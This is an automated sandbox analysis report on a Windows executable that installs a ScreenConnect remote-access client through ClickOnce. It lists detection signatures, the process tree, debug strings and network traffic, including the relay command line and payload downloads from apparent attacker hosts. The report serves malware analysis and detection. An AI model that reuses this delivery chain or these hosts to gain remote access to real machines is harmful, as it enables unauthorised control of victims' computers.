Edit tour

Windows Analysis Report
SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Overview

General Information

Sample name:	SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe
Analysis ID:	1638477
MD5:	bfaaad29d18f516511ec1741e1a091db
SHA1:	39e2258863f4e1035568a16eec5def14cb602986
SHA256:	b609603b40e7eb6d2dfdea9ea187eb82c1a7b55c85965f694548dd6cef36e9f5
Tags:	exeuser-SecuriteInfoCom
Infos:

Detection

ScreenConnect Tool

Score:	54
Range:	0 - 100
Confidence:	100%

Compliance

Score:	33
Range:	0 - 100

Signatures

Multi AV Scanner detection for submitted file

.NET source code references suspicious native API functions

Contains functionality to hide user accounts

Detected potential unwanted application

Joe Sandbox ML detected suspicious sample

Reads the Security eventlog

Reads the System eventlog

AV process strings found (often used to terminate AV products)

Adds / modifies Windows certificates

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates or modifies windows services

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Drops certificate files (DER)

EXE planting / hijacking vulnerabilities found

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

JA3 SSL client fingerprint seen in connection with other malware

Launches processes in debugging mode, may be used to hinder debugging

May sleep (evasive loops) to hinder dynamic analysis

May use bcdedit to modify the Windows boot settings

One or more processes crash

PE file contains an invalid checksum

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Dfsvc.EXE Network Connection To Uncommon Ports

Sigma detected: Potentially Suspicious Child Process Of ClickOnce Application

Stores large binary data to the registry

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected ScreenConnect Tool

Classification

Process Tree

System is w10x64

SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe (PID: 7112 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe" MD5: BFAAAD29D18F516511EC1741E1A091DB)

dfsvc.exe (PID: 7148 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe" MD5: B4088F44B80D363902E11F897A7BAC09)

ScreenConnect.WindowsClient.exe (PID: 6376 cmdline: "C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe" MD5: AFA993C978BC52D51E8AF08A02892B4E)

ScreenConnect.ClientService.exe (PID: 6924 cmdline: "C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=miledin.mwhelp.site&p=8880&k=BgIAAACkAABSU0ExAAgAAAEAAQC1BC7FdVJJFmJKDeQwCiJ3JJNEMl4x59nF7GGtNmjpuazxqDcF4oXznuaF7%2bPvugux9iQl0N%2fv66hQ12W0ZIEMc6tfjE3cMNDEOZODX53g06Q8bUHTzh2x%2f%2b%2bqrAZH38rwy8BEaezwgd3uPlgjgt802V5RYOIginnPSg2QEYJY4zP%2b13deRrkTtsV6UQI5iKxqWvcrjc%2fgnpsbKuxD%2f8jpqy4DtSBRMb9x3urpOt2zfLzMjV0lF10MnyNOj1gz6q1%2bFaQncjp2SQiX%2fLZxsoFe0atFkdojc3UhMzdhfUWSymENjpLdauviud8LLhJxAaEW8KIHkbGfg7iNE6VySqaj&r=&i=" "1" MD5: D3E628C507DC331BAB3DE1178088C978)

WerFault.exe (PID: 7144 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6924 -s 1312 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 6424 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7112 -s 748 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..ient_4b14c015c87c1ad8_0018.0004_none_b4e7e84fe683500e\ScreenConnect.WindowsClient.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..ient_4b14c015c87c1ad8_0018.0004_none_b4e7e84fe683500e\ScreenConnect.WindowsClient.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000008.00000000.1245194119.00000000002A2000.00000002.00000001.01000000.0000000C.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
00000001.00000002.1766358365.000001BCA486A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
00000008.00000002.1325286877.000000000256A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Process Memory Space: dfsvc.exe PID: 7148	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Process Memory Space: ScreenConnect.WindowsClient.exe PID: 6376	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Process Memory Space: ScreenConnect.ClientService.exe PID: 6924	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
8.0.ScreenConnect.WindowsClient.exe.2a0000.0.unpack	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security

Sigma Signatures

System Summary

Sigma detected: Dfsvc.EXE Network Connection To Uncommon Ports

Source: Network Connection

Author: Nasreddine Bencherchali (Nextron Systems): Data: DesusertionIp: 192.168.2.9, DesusertionIsIpv6: false, DesusertionPort: 49684, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe, Initiated: true, ProcessId: 7148, Protocol: tcp, SourceIp: 104.21.72.99, SourceIsIpv6: false, SourcePort: 443

Sigma detected: Potentially Suspicious Child Process Of ClickOnce Application

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\SysWOW64\WerFault.exe -u -p 6924 -s 1312, CommandLine: C:\Windows\SysWOW64\WerFault.exe -u -p 6924 -s 1312, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WerFault.exe, NewProcessName: C:\Windows\SysWOW64\WerFault.exe, OriginalFileName: C:\Windows\SysWOW64\WerFault.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=miledin.mwhelp.site&p=8880&k=BgIAAACkAABSU0ExAAgAAAEAAQC1BC7FdVJJFmJKDeQwCiJ3JJNEMl4x59nF7GGtNmjpuazxqDcF4oXznuaF7%2bPvugux9iQl0N%2fv66hQ12W0ZIEMc6tfjE3cMNDEOZODX53g06Q8bUHTzh2x%2f%2b%2bqrAZH38rwy8BEaezwgd3uPlgjgt802V5RYOIginnPSg2QEYJY4zP%2b13deRrkTtsV6UQI5iKxqWvcrjc%2fgnpsbKuxD%2f8jpqy4DtSBRMb9x3urpOt2zfLzMjV0lF10MnyNOj1gz6q1%2bFaQncjp2SQiX%2fLZxsoFe0atFkdojc3UhMzdhfUWSymENjpLdauviud8LLhJxAaEW8KIHkbGfg7iNE6VySqaj&r=&i=" "1", ParentImage: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe, ParentProcessId: 6924, ParentProcessName: ScreenConnect.ClientService.exe, ProcessCommandLine: C:\Windows\SysWOW64\WerFault.exe -u -p 6924 -s 1312, ProcessId: 7144, ProcessName: WerFault.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Virustotal: Detection: 16%			Perma Link
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	ReversingLabs: Detection: 26%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 91.0% probability

Cryptography

Uses Microsoft's Enhanced Cryptographic Provider

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Code function: 0_2_003A1000 LocalAlloc,LocalAlloc,GetModuleFileNameW,CertOpenSystemStoreA,LocalAlloc,LocalAlloc,CryptQueryObject,LocalFree,CryptMsgGetParam,CryptMsgGetParam,LocalAlloc,LocalAlloc,CryptMsgGetParam,CertCreateCertificateContext,CertAddCertificateContextToStore,CertFreeCertificateContext,LocalFree,CryptMsgGetParam,LocalFree,LocalFree,CryptMsgGetParam,CryptMsgGetParam,CertFindAttribute,CertFindAttribute,CertFindAttribute,LoadLibraryA,GetProcAddress,Sleep,CertDeleteCertificateFromStore,CertDeleteCertificateFromStore,CertCloseStore,LocalFree,LocalFree,LocalFree,

0_2_003A1000

Privilege Escalation

EXE planting / hijacking vulnerabilities found

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..ient_4b14c015c87c1ad8_0018.0004_none_b4e7e84fe683500e\ScreenConnect.WindowsClient.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.WindowsBackstageShell.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.ClientService.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.WindowsFileManager.exe	Jump to behavior

Compliance

EXE planting / hijacking vulnerabilities found

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..ient_4b14c015c87c1ad8_0018.0004_none_b4e7e84fe683500e\ScreenConnect.WindowsClient.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.WindowsBackstageShell.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.ClientService.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.WindowsFileManager.exe	Jump to behavior

Uses 32bit PE files

Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

PE / OLE file has a valid certificate

Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Static PE information: certificate valid

Uses secure TLS version for HTTPS connections

Source: unknown

HTTPS traffic detected: 104.21.72.99:443 -> 192.168.2.9:49684 version: TLS 1.2

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Binary contains paths to debug symbols

Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClickOnceRunner\Release\ClickOnceRunner.pdb source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\ScreenConnect.Core.pdb source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\ScreenConnect.ClientService.pdb3 source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.000000000134A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb a source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb source: ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr
Source:	Binary string: ScreenConnect.Core.pdbJt source: WERA625.tmp.dmp.11.dr
Source:	Binary string: ScreenConnect.Windows.pdb source: WERA625.tmp.dmp.11.dr
Source:	Binary string: C:\Windows\ScreenConnect.ClientService.pdbpdbice.pdbH source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\ScreenConnect.ClientService.pdb4 source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb1 source: ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WERA625.tmp.dmp.11.dr
Source:	Binary string: System.Core.ni.pdb source: WERA625.tmp.dmp.11.dr
Source:	Binary string: ScreenConnect.Windows.pdbH source: WERA625.tmp.dmp.11.dr
Source:	Binary string: ScreenConnect.Core.pdb source: WERA625.tmp.dmp.11.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdb source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA4C3B000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.1766358365.000001BCA4B62000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.1766358365.000001BCA4788000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000008.00000002.1325166034.0000000002410000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000008.00000002.1325286877.00000000026EF000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000009.00000002.1289094143.0000000005582000.00000002.00000001.01000000.0000000E.sdmp, ScreenConnect.ClientService.dll.1.dr, ScreenConnect.ClientService.dll0.1.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\ScreenConnect.Core.pdb source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe, 00000009.00000000.1255423787.00000000009BD000.00000002.00000001.01000000.0000000D.sdmp, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr
Source:	Binary string: \??\C:\Windows\ScreenConnect.ClientService.pdb source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nXC:\Windows\ScreenConnect.ClientService.pdb source: ScreenConnect.ClientService.exe, 00000009.00000002.1287827656.0000000001158000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WERA625.tmp.dmp.11.dr
Source:	Binary string: nect.Core.pdbpdk source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdby source: ScreenConnect.WindowsClient.exe, 00000008.00000000.1245194119.00000000002A2000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr
Source:	Binary string: \??\C:\Windows\ScreenConnect.ClientService.pdb{ source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe, 00000008.00000000.1245194119.00000000002A2000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr
Source:	Binary string: mscorlib.pdbP source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: e.pdbh source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: reenConnect.Core.pdb source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA45D8000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000008.00000002.1325035100.00000000023D2000.00000002.00000001.01000000.00000013.sdmp, ScreenConnect.Client.dll.1.dr, ScreenConnect.Client.dll0.1.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\ScreenConnect.ClientService.pdb source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WERA625.tmp.dmp.11.dr
Source:	Binary string: \??\C:\Windows\mscorlib.pdb= source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsFileManager\obj\Release\ScreenConnect.WindowsFileManager.pdb source: ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr
Source:	Binary string: mscorlib.pdbcorlib.pdbpdblib.pdbC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: ScreenConnect.ClientService.exe, 00000009.00000002.1289837912.0000000005C7B000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdb source: WERA625.tmp.dmp.11.dr
Source:	Binary string: System.ni.pdbRSDS source: WERA625.tmp.dmp.11.dr
Source:	Binary string: System.Configuration.pdbSystem.ni.dllSystem.Core.dll source: WERA625.tmp.dmp.11.dr
Source:	Binary string: n0C:\Windows\mscorlib.pdb source: ScreenConnect.ClientService.exe, 00000009.00000002.1289837912.0000000005C7B000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: ScreenConnect.ClientService.pdb source: WERA625.tmp.dmp.11.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbta source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdb source: WERA625.tmp.dmp.11.dr
Source:	Binary string: mscorlib.ni.pdbRSDS source: WERA625.tmp.dmp.11.dr
Source:	Binary string: System.Configuration.pdb source: WERA625.tmp.dmp.11.dr
Source:	Binary string: @o.pdb source: ScreenConnect.ClientService.exe, 00000009.00000002.1289837912.0000000005C7B000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Xml.pdb source: WERA625.tmp.dmp.11.dr
Source:	Binary string: System.pdb source: WERA625.tmp.dmp.11.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA4784000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.1766358365.000001BCA4D29000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.1766358365.000001BCA4B5E000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000009.00000002.1289418244.00000000056A2000.00000002.00000001.01000000.0000000F.sdmp, ScreenConnect.Core.dll.1.dr, ScreenConnect.Core.dll0.1.dr
Source:	Binary string: %%.pdb source: ScreenConnect.ClientService.exe, 00000009.00000002.1289837912.0000000005C7B000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdb source: WERA625.tmp.dmp.11.dr
Source:	Binary string: \??\C:\Windows\mscorlib.pdbe source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\ScreenConnect.Core.pdb\ source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: WERA625.tmp.dmp.11.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012AE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA4B66000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.1766358365.000001BCA4C3B000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.1766358365.000001BCA478C000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000009.00000002.1289884811.0000000005CA2000.00000002.00000001.01000000.00000010.sdmp, ScreenConnect.Windows.dll0.1.dr, ScreenConnect.Windows.dll.1.dr
Source:	Binary string: ?oC:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: ScreenConnect.ClientService.exe, 00000009.00000002.1289837912.0000000005C7B000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.pdb4 source: WERA625.tmp.dmp.11.dr
Source:	Binary string: System.Core.pdb source: WERA625.tmp.dmp.11.dr
Source:	Binary string: symbols\dll\mscorlib.pdbLb source: ScreenConnect.ClientService.exe, 00000009.00000002.1289837912.0000000005C7B000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdbi source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA45D8000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000008.00000002.1325035100.00000000023D2000.00000002.00000001.01000000.00000013.sdmp, ScreenConnect.Client.dll.1.dr, ScreenConnect.Client.dll0.1.dr
Source:	Binary string: Core.pdb/ source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WERA625.tmp.dmp.11.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERA625.tmp.dmp.11.dr

Spreading

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Code function: 0_2_003A4B9B FindFirstFileExA,

0_2_003A4B9B

Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\Local\Apps\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\Local\Apps\2.0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\	Jump to behavior

Networking

Detected TCP or UDP traffic on non-standard ports

Source: global traffic

TCP traffic: 192.168.2.9:49714 -> 62.182.86.171:8880

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=miledin.mwhelp.site&p=8880&k=BgIAAACkAABSU0ExAAgAAAEAAQC1BC7FdVJJFmJKDeQwCiJ3JJNEMl4x59nF7GGtNmjpuazxqDcF4oXznuaF7%2bPvugux9iQl0N%2fv66hQ12W0ZIEMc6tfjE3cMNDEOZODX53g06Q8bUHTzh2x%2f%2b%2bqrAZH38rwy8BEaezwgd3uPlgjgt802V5RYOIginnPSg2QEYJY4zP%2b13deRrkTtsV6UQI5iKxqWvcrjc%2fgnpsbKuxD%2f8jpqy4DtSBRMb9x3urpOt2zfLzMjV0lF10MnyNOj1gz6q1%2bFaQncjp2SQiX%2fLZxsoFe0atFkdojc3UhMzdhfUWSymENjpLdauviud8LLhJxAaEW8KIHkbGfg7iNE6VySqaj&r=&i= HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.manifest HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.exe HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe.config HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe.config HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe.config HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
